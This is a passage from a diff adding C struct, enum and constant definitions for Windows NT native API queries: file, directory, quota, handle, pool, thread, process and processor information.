MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; + +typedef struct _FILE_MAILSLOT_SET_INFORMATION { + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; + +typedef struct _FILE_REPARSE_POINT_INFORMATION { + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; + +// +// NtQuery(Set)EaFile +// +// The offset for the start of EaValue is EaName[EaNameLength + 1] +// + +// begin_ntddk begin_wdm + +typedef struct _FILE_FULL_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; + +// end_ntddk end_wdm + +typedef struct _FILE_GET_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR EaNameLength; + CHAR EaName[1]; +} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION; + +// +// NtQuery(Set)QuotaInformationFile +// + +typedef struct _FILE_GET_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + SID Sid; +} FILE_GET_QUOTA_INFORMATION, *PFILE_GET_QUOTA_INFORMATION; + +typedef struct _FILE_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; + +// +// NtQueryDirectoryFile return types: +// +// FILE_DIRECTORY_INFORMATION +// FILE_FULL_DIR_INFORMATION +// FILE_ID_FULL_DIR_INFORMATION +// FILE_BOTH_DIR_INFORMATION +// FILE_ID_BOTH_DIR_INFORMATION +// FILE_NAMES_INFORMATION +// FILE_OBJECTID_INFORMATION +// + +typedef struct _FILE_DIRECTORY_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; + +typedef struct _FILE_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; + +typedef struct _FILE_ID_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; + +typedef struct _FILE_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _FILE_NAMES_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; + +typedef struct _FILE_OBJECTID_INFORMATION { + LONGLONG FileReference; + UCHAR ObjectId[16]; + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + } ; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; + + +// +// SYSTEM_INFORMATION +// + +typedef struct _SYSTEM_GDI_DRIVER_INFORMATION +{ + UNICODE_STRING DriverName; + PVOID ImageAddress; + PVOID SectionPointer; + PVOID EntryPoint; + PIMAGE_EXPORT_DIRECTORY ExportSectionPointer; + ULONG ImageLength; +} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION; + +typedef struct _SYSTEM_EXCEPTION_INFORMATION +{ + ULONG AlignmentFixupCount; + ULONG ExceptionDispatchCount; + ULONG FloatingEmulationCount; + ULONG ByteWordEmulationCount; +} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION; + +// +// taken from http://www.acc.umu.se/~bosse/ntifs.h - contents are questionable. +// + +typedef enum _THREAD_STATE +{ + StateInitialized, + StateReady, + StateRunning, + StateStandby, + StateTerminated, + StateWait, + StateTransition, + StateUnknown +} THREAD_STATE; + +typedef enum _KWAIT_REASON { + Executive, + FreePage, + PageIn, + PoolAllocation, + DelayExecution, + Suspended, + UserRequest, + WrExecutive, + WrFreePage, + WrPageIn, + WrPoolAllocation, + WrDelayExecution, + WrSuspended, + WrUserRequest, + WrEventPair, + WrQueue, + WrLpcReceive, + WrLpcReply, + WrVirtualMemory, + WrPageOut, + WrRendezvous, + Spare2, + Spare3, + Spare4, + Spare5, + Spare6, + WrKernel, + WrResource, + WrPushLock, + WrMutex, + WrQuantumEnd, + WrDispatchInt, + WrPreempted, + WrYieldExecution, + WrFastMutex, + WrGuardedMutex, + WrRundown, + MaximumWaitReason +} KWAIT_REASON; + +//FIXED 21.02.2011 size for x64/x86 +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + KPRIORITY BasePriority; + ULONG ContextSwitchCount; + THREAD_STATE State; + KWAIT_REASON WaitReason; +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION { + SYSTEM_THREAD_INFORMATION ThreadInfo; + PVOID StackBase; + PVOID StackLimit; + PVOID Win32StartAddress; + ULONG_PTR Reserved1; + ULONG_PTR Reserved2; + ULONG_PTR Reserved3; + ULONG_PTR Reserved4; +} SYSTEM_EXTENDED_THREAD_INFORMATION, *PSYSTEM_EXTENDED_THREAD_INFORMATION; + +typedef struct _SYSTEM_POOL_ENTRY { + BOOLEAN Allocated; + BOOLEAN Spare0; + USHORT AllocatorBackTraceIndex; + ULONG Size; + union { + UCHAR Tag[4]; + ULONG TagUlong; + PVOID ProcessChargedQuota; + }; +} SYSTEM_POOL_ENTRY, *PSYSTEM_POOL_ENTRY; + +typedef struct _SYSTEM_POOL_INFORMATION { + SIZE_T TotalSize; + PVOID FirstEntry; + USHORT EntryOverhead; + BOOLEAN PoolTagPresent; + BOOLEAN Spare0; + ULONG NumberOfEntries; + SYSTEM_POOL_ENTRY Entries[1]; +} SYSTEM_POOL_INFORMATION, *PSYSTEM_POOL_INFORMATION; + +typedef struct _SYSTEM_POOLTAG { + union { + UCHAR Tag[4]; + ULONG TagUlong; + }; + ULONG PagedAllocs; + ULONG PagedFrees; + SIZE_T PagedUsed; + ULONG NonPagedAllocs; + ULONG NonPagedFrees; + SIZE_T NonPagedUsed; +} SYSTEM_POOLTAG, *PSYSTEM_POOLTAG; + +typedef struct _SYSTEM_BIGPOOL_ENTRY { + union { + PVOID VirtualAddress; + ULONG_PTR NonPaged : 1; // Set to 1 if entry is nonpaged. + }; + SIZE_T SizeInBytes; + union { + UCHAR Tag[4]; + ULONG TagUlong; + }; +} SYSTEM_BIGPOOL_ENTRY, *PSYSTEM_BIGPOOL_ENTRY; + +typedef struct _SYSTEM_POOLTAG_INFORMATION +{ + ULONG Count; + SYSTEM_POOLTAG TagInfo[ 1 ]; +} SYSTEM_POOLTAG_INFORMATION, *PSYSTEM_POOLTAG_INFORMATION; + +typedef struct _SYSTEM_SESSION_POOLTAG_INFORMATION { + SIZE_T NextEntryOffset; + ULONG SessionId; + ULONG Count; + SYSTEM_POOLTAG TagInfo[ 1 ]; +} SYSTEM_SESSION_POOLTAG_INFORMATION, *PSYSTEM_SESSION_POOLTAG_INFORMATION; + +typedef struct _SYSTEM_BIGPOOL_INFORMATION { + ULONG Count; + SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ 1 ]; +} SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO +{ + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX +{ + PVOID Object; + ULONG UniqueProcessId; + ULONG HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; + +typedef struct _SYSTEM_HANDLE_INFORMATION_EX +{ + ULONG NumberOfHandles; + ULONG Reserved; + struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[ 1 ]; +} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX; + +typedef struct _SYSTEM_SPECIAL_POOL_INFORMATION +{ + ULONG PoolTag; + ULONG Flags; +} SYSTEM_SPECIAL_POOL_INFORMATION, *PSYSTEM_SPECIAL_POOL_INFORMATION; + +typedef struct _SYSTEM_OBJECTTYPE_INFORMATION +{ + ULONG NextEntryOffset; + ULONG NumberOfObjects; + ULONG NumberOfHandles; + ULONG TypeIndex; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + ULONG PoolType; + UCHAR SecurityRequired; + UCHAR WaitableObject; + UNICODE_STRING TypeName; +} SYSTEM_OBJECTTYPE_INFORMATION, *PSYSTEM_OBJECTTYPE_INFORMATION; + +typedef struct _SYSTEM_HIBERFILE_INFORMATION +{ + ULONG NumberOfMcbPairs; + LARGE_INTEGER Mcb[ 1 ]; +} SYSTEM_HIBERFILE_INFORMATION, *PSYSTEM_HIBERFILE_INFORMATION; + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { + BOOLEAN KernelDebuggerEnabled; + BOOLEAN KernelDebuggerNotPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { + ULONG RegistryQuotaAllowed; + ULONG RegistryQuotaUsed; + SIZE_T PagedPoolSize; +} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION; + +typedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION { + ULONG ContextSwitches; + ULONG FindAny; + ULONG FindLast; + ULONG FindIdeal; + ULONG IdleAny; + ULONG IdleCurrent; + ULONG IdleLast; + ULONG IdleIdeal; + ULONG PreemptAny; + ULONG PreemptCurrent; + ULONG PreemptLast; + ULONG SwitchToIdle; +} SYSTEM_CONTEXT_SWITCH_INFORMATION, *PSYSTEM_CONTEXT_SWITCH_INFORMATION; + +typedef struct _SYSTEM_SESSION_MAPPED_VIEW_INFORMATION { + SIZE_T NextEntryOffset; + ULONG SessionId; + ULONG ViewFailures; + SIZE_T NumberOfBytesAvailable; + SIZE_T NumberOfBytesAvailableContiguous; +} SYSTEM_SESSION_MAPPED_VIEW_INFORMATION, *PSYSTEM_SESSION_MAPPED_VIEW_INFORMATION; + +typedef struct _SYSTEM_INTERRUPT_INFORMATION { + ULONG ContextSwitches; + ULONG DpcCount; + ULONG DpcRate; + ULONG TimeIncrement; + ULONG DpcBypassCount; + ULONG ApcBypassCount; +} SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION; + +typedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION { + ULONG Spare; + ULONG DpcQueueDepth; + ULONG MinimumDpcRate; + ULONG AdjustDpcThreshold; + ULONG IdealDpcRate; +} SYSTEM_DPC_BEHAVIOR_INFORMATION, *PSYSTEM_DPC_BEHAVIOR_INFORMATION; + +typedef struct _SYSTEM_LOOKASIDE_INFORMATION { + USHORT CurrentDepth; + USHORT MaximumDepth; + ULONG TotalAllocates; + ULONG AllocateMisses; + ULONG TotalFrees; + ULONG FreeMisses; + ULONG Type; + ULONG Tag; + ULONG Size; +} SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION; + +typedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION { + ULONG VetoType; + UNICODE_STRING VetoList; +} SYSTEM_LEGACY_DRIVER_INFORMATION, *PSYSTEM_LEGACY_DRIVER_INFORMATION; + +typedef struct _SYSTEM_VDM_INSTEMUL_INFO +{ + ULONG SegmentNotPresent; + ULONG VdmOpcode0F; + ULONG OpcodeESPrefix; + ULONG OpcodeCSPrefix; + ULONG OpcodeSSPrefix; + ULONG OpcodeDSPrefix; + ULONG OpcodeFSPrefix; + ULONG OpcodeGSPrefix; + ULONG OpcodeOPER32Prefix; + ULONG OpcodeADDR32Prefix; + ULONG OpcodeINSB; + ULONG OpcodeINSW; + ULONG OpcodeOUTSB; + ULONG OpcodeOUTSW; + ULONG OpcodePUSHF; + ULONG OpcodePOPF; + ULONG OpcodeINTnn; + ULONG OpcodeINTO; + ULONG OpcodeIRET; + ULONG OpcodeINBimm; + ULONG OpcodeINWimm; + ULONG OpcodeOUTBimm; + ULONG OpcodeOUTWimm; + ULONG OpcodeINB; + ULONG OpcodeINW; + ULONG OpcodeOUTB; + ULONG OpcodeOUTW; + ULONG OpcodeLOCKPrefix; + ULONG OpcodeREPNEPrefix; + ULONG OpcodeREPPrefix; + ULONG OpcodeHLT; + ULONG OpcodeCLI; + ULONG OpcodeSTI; + ULONG BopCount; +} SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO; + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION +{ + LARGE_INTEGER BootTime; + LARGE_INTEGER CurrentTime; + LARGE_INTEGER TimeZoneBias; + ULONG TimeZoneId; + ULONG Reserved; + ULONGLONG BootTimeBias; + ULONGLONG SleepTimeBias; +} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; + +#if defined(_M_X64) +typedef ULONG SYSINF_PAGE_COUNT; +#else +typedef SIZE_T SYSINF_PAGE_COUNT; +#endif + +typedef struct _SYSTEM_BASIC_INFORMATION { + ULONG Reserved; + ULONG TimerResolution; + ULONG PageSize; + SYSINF_PAGE_COUNT NumberOfPhysicalPages; + SYSINF_PAGE_COUNT LowestPhysicalPageNumber; + SYSINF_PAGE_COUNT HighestPhysicalPageNumber; + ULONG AllocationGranularity; + ULONG_PTR MinimumUserModeAddress; + ULONG_PTR MaximumUserModeAddress; + ULONG_PTR ActiveProcessorsAffinityMask; + CCHAR NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_INFORMATION { + USHORT ProcessorArchitecture; + USHORT ProcessorLevel; + USHORT ProcessorRevision; + USHORT Reserved; + ULONG ProcessorFeatureBits; +} SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; // Checked Build + LARGE_INTEGER InterruptTime; // Checked Build + ULONG InterruptCount; +} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_IDLE_INFORMATION { + ULONGLONG IdleTime; + ULONGLONG C1Time; + ULONGLONG C2Time; + ULONGLONG C3Time; + ULONG C1Transitions; + ULONG C2Transitions; + ULONG C3Transitions; + ULONG Padding; +} SYSTEM_PROCESSOR_IDLE_INFORMATION, *PSYSTEM_PROCESSOR_IDLE_INFORMATION; + +typedef struct _SYSTEM_NUMA_INFORMATION { + ULONG HighestNodeNumber; + ULONG Reserved; + union { + ULONG64 ActiveProcessorsAffinityMask[ 16 ]; + ULONG64 AvailableMemory[ 16 ]; + }; +} SYSTEM_NUMA_INFORMATION, *PSYSTEM_NUMA_INFORMATION; + +#if !defined(_WINNT_) + +typedef enum _LOGICAL_PROCESSOR_RELATIONSHIP +{ + RelationProcessorCore, + RelationNumaNode, + RelationCache, + RelationProcessorPackage +} LOGICAL_PROCESSOR_RELATIONSHIP; + +typedef enum _PROCESSOR_CACHE_TYPE +{ + CacheUnified, + CacheInstruction, + CacheData, + CacheTrace +} PROCESSOR_CACHE_TYPE; + +#define CACHE_FULLY_ASSOCIATIVE 0xFF + +typedef struct _CACHE_DESCRIPTOR +{ + BYTE Level; + BYTE Associativity; + WORD LineSize; + DWORD Size; + PROCESSOR_CACHE_TYPE Type; +} CACHE_DESCRIPTOR, *PCACHE_DESCRIPTOR; + +typedef struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION { + ULONG_PTR ProcessorMask; + LOGICAL_PROCESSOR_RELATIONSHIP Relationship; + union { + struct { + BYTE Flags; + } ProcessorCore; + struct { + DWORD NodeNumber; + } NumaNode; + CACHE_DESCRIPTOR Cache; + ULONGLONG Reserved[2]; + }; +} SYSTEM_LOGICAL_PROCESSOR_INFORMATION, *PSYSTEM_LOGICAL_PROCESSOR_INFORMATION; + +#define PROCESSOR_INTEL_386 386 +#define PROCESSOR_INTEL_486 486 +#define PROCESSOR_INTEL_PENTIUM 586 +#define PROCESSOR_INTEL_IA64 2200 +#define PROCESSOR_AMD_X8664 8664 +#define PROCESSOR_MIPS_R4000 4000 // incl R4101 & R3910 for Windows CE +#define PROCESSOR_ALPHA_21064 21064 +#define PROCESSOR_PPC_601 601 +#define PROCESSOR_PPC_603 603 +#define PROCESSOR_PPC_604 604 +#define PROCESSOR_PPC_620 620 +#define PROCESSOR_HITACHI_SH3 10003 // Windows CE +#define PROCESSOR_HITACHI_SH3E 10004 // Windows CE +#define PROCESSOR_HITACHI_SH4 10005 // Windows CE +#define PROCESSOR_MOTOROLA_821 821 // Windows CE +#define PROCESSOR_SHx_SH3 103 // Windows CE +#define PROCESSOR_SHx_SH4 104 // Windows CE +#define PROCESSOR_STRONGARM 2577 // Windows CE - 0xA11 +#define PROCESSOR_ARM720 1824 // Windows CE - 0x720 +#define PROCESSOR_ARM820 2080 // Windows CE - 0x820 +#define PROCESSOR_ARM920 2336 // Windows CE - 0x920 +#define PROCESSOR_ARM_7TDMI 70001 // Windows CE +#define PROCESSOR_OPTIL 0x494f // MSIL + +#define PROCESSOR_ARCHITECTURE_INTEL 0 +#define PROCESSOR_ARCHITECTURE_MIPS 1 +#define PROCESSOR_ARCHITECTURE_ALPHA 2 +#define PROCESSOR_ARCHITECTURE_PPC 3 +#define PROCESSOR_ARCHITECTURE_SHX 4 +#define PROCESSOR_ARCHITECTURE_ARM 5 +#define PROCESSOR_ARCHITECTURE_IA64 6 +#define PROCESSOR_ARCHITECTURE_ALPHA64 7 +#define PROCESSOR_ARCHITECTURE_MSIL 8 +#define PROCESSOR_ARCHITECTURE_AMD64 9 +#define PROCESSOR_ARCHITECTURE_IA32_ON_WIN64 10 + +#define PROCESSOR_ARCHITECTURE_UNKNOWN 0xFFFF + +#define PF_FLOATING_POINT_PRECISION_ERRATA 0 +#define PF_FLOATING_POINT_EMULATED 1 +#define PF_COMPARE_EXCHANGE_DOUBLE 2 +#define PF_MMX_INSTRUCTIONS_AVAILABLE 3 +#define PF_PPC_MOVEMEM_64BIT_OK 4 +#define PF_ALPHA_BYTE_INSTRUCTIONS 5 +#define PF_XMMI_INSTRUCTIONS_AVAILABLE 6 +#define PF_3DNOW_INSTRUCTIONS_AVAILABLE 7 +#define PF_RDTSC_INSTRUCTION_AVAILABLE 8 +#define PF_PAE_ENABLED 9 +#define PF_XMMI64_INSTRUCTIONS_AVAILABLE 10 +#define PF_SSE_DAZ_MODE_AVAILABLE 11 +#define PF_NX_ENABLED 12 +#define PF_SSE3_INSTRUCTIONS_AVAILABLE 13 +#define PF_COMPARE_EXCHANGE128 14 +#define PF_COMPARE64_EXCHANGE128 15 +#define PF_CHANNELS_ENABLED 16 + +typedef struct _MEMORY_BASIC_INFORMATION +{ + PVOID BaseAddress; + PVOID AllocationBase; + DWORD AllocationProtect; + SIZE_T RegionSize; + DWORD State; + DWORD Protect; + DWORD Type; +} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION; + +#endif /*_WINNT_*/ + +typedef struct _SYSTEM_PROCESSOR_POWER_INFORMATION { + UCHAR CurrentFrequency; + UCHAR ThermalLimitFrequency; + UCHAR ConstantThrottleFrequency; + UCHAR DegradedThrottleFrequency; + UCHAR LastBusyFrequency; + UCHAR LastC3Frequency; + UCHAR LastAdjustedBusyFrequency; + UCHAR ProcessorMinThrottle; + UCHAR ProcessorMaxThrottle; + ULONG NumberOfFrequencies; + ULONG PromotionCount; + ULONG DemotionCount; + ULONG ErrorCount; + ULONG RetryCount; + ULONG64 CurrentFrequencyTime; + ULONG64 CurrentProcessorTime; + ULONG64 CurrentProcessorIdleTime; + ULONG64 LastProcessorTime; + ULONG64 LastProcessorIdleTime; +} SYSTEM_PROCESSOR_POWER_INFORMATION, *PSYSTEM_PROCESSOR_POWER_INFORMATION; + +typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + ULONG TimeIncrement; + BOOLEAN Enable; +} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + BOOLEAN Enable; +} SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleProcessTime; + LARGE_INTEGER IoReadTransferCount; + LARGE_INTEGER IoWriteTransferCount; + LARGE_INTEGER IoOtherTransferCount; + ULONG IoReadOperationCount; + ULONG IoWriteOperationCount; + ULONG IoOtherOperationCount; + ULONG AvailablePages; + SYSINF_PAGE_COUNT CommittedPages; + SYSINF_PAGE_COUNT CommitLimit; + SYSINF_PAGE_COUNT PeakCommitment; + ULONG PageFaultCount; + ULONG CopyOnWriteCount; + ULONG TransitionCount; + ULONG CacheTransitionCount; + ULONG DemandZeroCount; + ULONG PageReadCount; + ULONG PageReadIoCount; + ULONG CacheReadCount; + ULONG CacheIoCount; + ULONG DirtyPagesWriteCount; + ULONG DirtyWriteIoCount; + ULONG MappedPagesWriteCount; + ULONG MappedWriteIoCount; + ULONG PagedPoolPages; + ULONG NonPagedPoolPages; + ULONG PagedPoolAllocs; + ULONG PagedPoolFrees; + ULONG NonPagedPoolAllocs; + ULONG NonPagedPoolFrees; + ULONG FreeSystemPtes; + ULONG ResidentSystemCodePage; + ULONG TotalSystemDriverPages; + ULONG TotalSystemCodePages; + ULONG NonPagedPoolLookasideHits; + ULONG PagedPoolLookasideHits; + ULONG AvailablePagedPoolPages; + ULONG ResidentSystemCachePage; + ULONG ResidentPagedPoolPage; + ULONG ResidentSystemDriverPage; + ULONG CcFastReadNoWait; + ULONG CcFastReadWait; + ULONG CcFastReadResourceMiss; + ULONG CcFastReadNotPossible; + ULONG CcFastMdlReadNoWait; + ULONG CcFastMdlReadWait; + ULONG CcFastMdlReadResourceMiss; + ULONG CcFastMdlReadNotPossible; + ULONG CcMapDataNoWait; + ULONG CcMapDataWait; + ULONG CcMapDataNoWaitMiss; + ULONG CcMapDataWaitMiss; + ULONG CcPinMappedDataCount; + ULONG CcPinReadNoWait; + ULONG CcPinReadWait; + ULONG CcPinReadNoWaitMiss; + ULONG CcPinReadWaitMiss; + ULONG CcCopyReadNoWait; + ULONG CcCopyReadWait; + ULONG CcCopyReadNoWaitMiss; + ULONG CcCopyReadWaitMiss; + ULONG CcMdlReadNoWait; + ULONG CcMdlReadWait; + ULONG CcMdlReadNoWaitMiss; + ULONG CcMdlReadWaitMiss; + ULONG CcReadAheadIos; + ULONG CcLazyWriteIos; + ULONG CcLazyWritePages; + ULONG CcDataFlushes; + ULONG CcDataPages; + ULONG ContextSwitches; + ULONG FirstLevelTbFills; + ULONG SecondLevelTbFills; + ULONG SystemCalls; +} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; +} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; + +typedef struct _SYSTEM_SESSION_PROCESS_INFORMATION { + ULONG SessionId; + ULONG SizeOfBuf; + PVOID Buffer; +} SYSTEM_SESSION_PROCESS_INFORMATION, *PSYSTEM_SESSION_PROCESS_INFORMATION; + +typedef struct _SYSTEM_MEMORY_INFO { + PUCHAR StringOffset; + USHORT ValidCount; + USHORT TransitionCount; + USHORT ModifiedCount; + USHORT PageTableCount; +} SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO; + +typedef struct _SYSTEM_MEMORY_INFORMATION { + ULONG InfoSize; + ULONG_PTR StringStart; + SYSTEM_MEMORY_INFO Memory[ 1 ]; +} SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION; + +typedef struct _SYSTEM_CALL_COUNT_INFORMATION { + ULONG Length; + ULONG NumberOfTables; +} SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION; + +typedef struct _SYSTEM_DEVICE_INFORMATION { + ULONG NumberOfDisks; + ULONG NumberOfFloppies; + ULONG NumberOfCdRoms; + ULONG NumberOfTapes; + ULONG NumberOfSerialPorts; + ULONG NumberOfParallelPorts; +} SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION; + +typedef struct _SYSTEM_FLAGS_INFORMATION { + ULONG Flags; +} SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION; + 